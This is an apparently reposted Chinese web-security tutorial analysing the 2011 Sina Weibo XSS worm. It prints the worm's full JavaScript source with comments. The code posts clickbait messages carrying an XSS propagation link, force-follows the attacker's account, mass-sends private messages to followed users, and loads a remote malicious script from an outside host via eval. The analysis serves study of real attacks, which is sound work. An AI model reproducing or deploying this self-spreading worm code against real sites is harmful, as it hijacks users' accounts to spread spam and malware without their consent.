好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

新浪微博老蠕虫代码分析 - 网站安全 - 自学php

逛酷壳看到2011年新浪那次比较大的XSS蠕虫传播事件,Post上给出了蠕虫的代码, 正好最近实习需要在狂补前端的各种,正好拿来分析下,菜分析,牛无视。 事件的经过线索如下:   20:14,开始有大量带V的认证用户中招转发蠕虫 20:30,2kt.cn中的病毒页面无法访问 20:32,新浪微博中hellosamy用户无法访问 21:02,新浪 漏洞 修补完毕 该蠕虫代码没什么难度,都是常规的一些请求伪造, 分析目的就是为了在真实攻击事件中学习Xss Payload编写思路,分析过程简单的写到注释里了。 这个蠕虫的三大功能: 发表微博->关注攻击者微博帐号->遍历关注用户列表并发送私信 function createXHR(){ //创建XMLHttp对象,没啥好说的      return window.XMLHttpRequest?      new XMLHttpRequest():      new ActiveXObject("Microsoft.XMLHTTP");  }  function getappkey(url){      xmlHttp = createXHR();      xmlHttp.open("GET",url,false); //获取AppKey不采用异步执行,等待请求返回      xmlHttp.send();      result = xmlHttp.responseText;      id_arr = '';      id = result.match(/namecard=\"true\" title=\"[^\"]*/g);           //正则匹配出AppKey数组,包含每个被收听用户的uid      for(i=0;i<id.length;i++){          sum = id[i].toString().split('"')[3];//重新提取整理          id_arr += sum + '||';      }      return id_arr;  }  function random_msg(){      link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;      //使用短地址服务,构造XSS传播连接       //http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=// www.2kt.cn/images/t.js%3E%3C/script%3E?type=update     //隐藏自己的恶意js脚本      var msgs = [ //话题列表          '郭美美事件的一些未注意到的细节:',          '建党大业中穿帮的地方:',          '让女人心动的100句诗歌:',          '3D肉团团高清普通话版种子:',          '这是传说中的神仙眷侣啊:',          '惊爆!范冰冰艳照真流出了:',          '杨幂被爆多次被潜规则:',          '傻仔拿锤子去抢银行:',          '可以监听别人手机的软件:',          '个税起征点有望提到4000:'];      var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;          //随机选取话题,加上之前的传播连接作为微博内容      msg = encodeURIComponent(msg); //对内容进行Url编码      return msg;  }  function post(url,data,sync){ //Ajax部分,没啥可说的      xmlHttp = createXHR();      xmlHttp.open("POST",url,sync);      xmlHttp.setRequestHeader("Accept","text/ html ,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8");      xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");      xmlHttp.send(data);  }  function publish(){      url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); //构造微博发表完成的Url      data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; //使用random_msg生成随机话题      post(url,data,true); //使用XmlHttpRequest发送请求  }  function follow(){      url = 'http://weibo.com/attention/aj_addfollow.php? refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); //自动关注的Url      data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';   //使用当前页面存储的$CONFIG.$uid构造自动关注数据包  www.2cto.com     post(url,data,true); //通过XMLHttpRequest发送请求  }  function message(){      url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; //构造用户关注用户列表页Url      ids = getappkey(url); //获取被关注用户的Appkey数组      id = ids.split('||'); //分割出每个被关注用户的Appkey      for(i=0;i<id.length - 1 & i<5;i++){          //构造私信发送Url          msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();           msg = random_msg();          msg = encodeURIComponent(msg);          user = encodeURIComponent(encodeURIComponent(id[i]));          data = 'content=' + msg + '&name=' + user + '&retcode=';          post(msgurl,data,false); //通过XmlHttpRequest发送请求      }  }  function main(){      try{          publish(); //模拟发表微博      }      catch(e){}      try{          follow(); //模拟关注用户      }      catch(e){}      try{          message(); //模拟发送私信      }      catch(e){}  }  try{      //在当前body尾部插入存放在远端的Xss恶意脚本     x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js'; document.body.appendChild(g)";window.opener.eval(x);  }  catch(e){}  main();  var t=setTimeout('location="http://weibo.com/pub/topic";',5000);  //等待5秒跳转到微话题页面     从Js中获取各种当前用户信息,没什么可涂的。  同时欢迎收听:http://weibo.com/pnigos

查看更多关于新浪微博老蠕虫代码分析 - 网站安全 - 自学php的详细内容...

  阅读:44次